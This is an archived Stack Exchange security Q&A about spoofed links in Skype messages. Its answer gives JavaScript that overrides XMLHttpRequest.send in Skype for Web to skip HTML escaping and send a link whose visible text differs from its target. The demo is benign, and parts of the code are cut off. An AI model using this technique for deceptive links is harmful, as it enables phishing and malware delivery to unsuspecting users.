Recently I have received a link from one of my Skype contacts (infected by a computer virus).

The link looks like an Instagram one, but points to another site. How the attacker did this? How to create similar message?

Skype (version 7.7 (335)) message screenshot on Mac:

Hidden link in Skype on Mac


Some people think this question is not security-related. But I disagree.

This is unusual behavior of Skype. Skype users expect that link text is always equal to link target. Changed links may be used to send spam messages, malware distribution and users de-anonymization.

  • 4
    What version of Skype are you using? They could have done <a href="http://goo.gl/7kxyz">http://www.instagram.com/best/xyz</a> and pressed Ctlr + Shift then clicked send message. community.skype.com/t5/Windows-archive/… – hd. Jul 7 '15 at 11:31
  • Link text and link target are 2 different things. On this site, the link "Ask Question" points to a URI. It is just as easy to make the link text look like a URI but have it point somewhere else. – schroeder Jul 7 '15 at 16:48
  • @hd. no, I use Skype 7.7 on Mac the HTML tags should not be available here – Yahor Jul 8 '15 at 10:56
  • @schroeder sure, but Skype does not allow to set custom link text – Yahor Jul 8 '15 at 10:59

Currently there is a small breach in the Skype for Web. Any HTML code is escaped on the client side before it is posted to the Skype server. But you can send unescaped HTML by writing some JavaScript code.

The steps follows:

  1. Go to Skype for Web via Chrome
  2. Open JavaScript console and execute:

    // replace standard XHR.send() with our custom implementation
    XMLHttpRequest.prototype.oldSend = XMLHttpRequest.prototype.send;
    var newSend = function(args) {
        try {
            // messages to the server are posted via JSON
            // in 'content' field
            var m = JSON.parse(args);
            if (m.content && m.content.indexOf('secret') === 0) { // 'secret' is our codeword
                // if the message begins with 'secret', replace it by our HTML with the link
                m.content = '<a tabindex="-1" target="_blank" href="http://security.stackexchange.com/questions/93305/insert-hidden-link-in-skype">http://watch-yourself.com</a>';
            } else {
                // if no 'content' field or no 'secret' codeword, then send as is
        } catch (x) {
            // if not JSON, then send as is
    XMLHttpRequest.prototype.send = newSend;
  3. Type 'secret' in any chat message

  4. The resulting message shown in the desktop version of Skype:

hidden link by Skype for Web

| improve this answer | |

Not the answer you're looking for? Browse other questions tagged or ask your own question.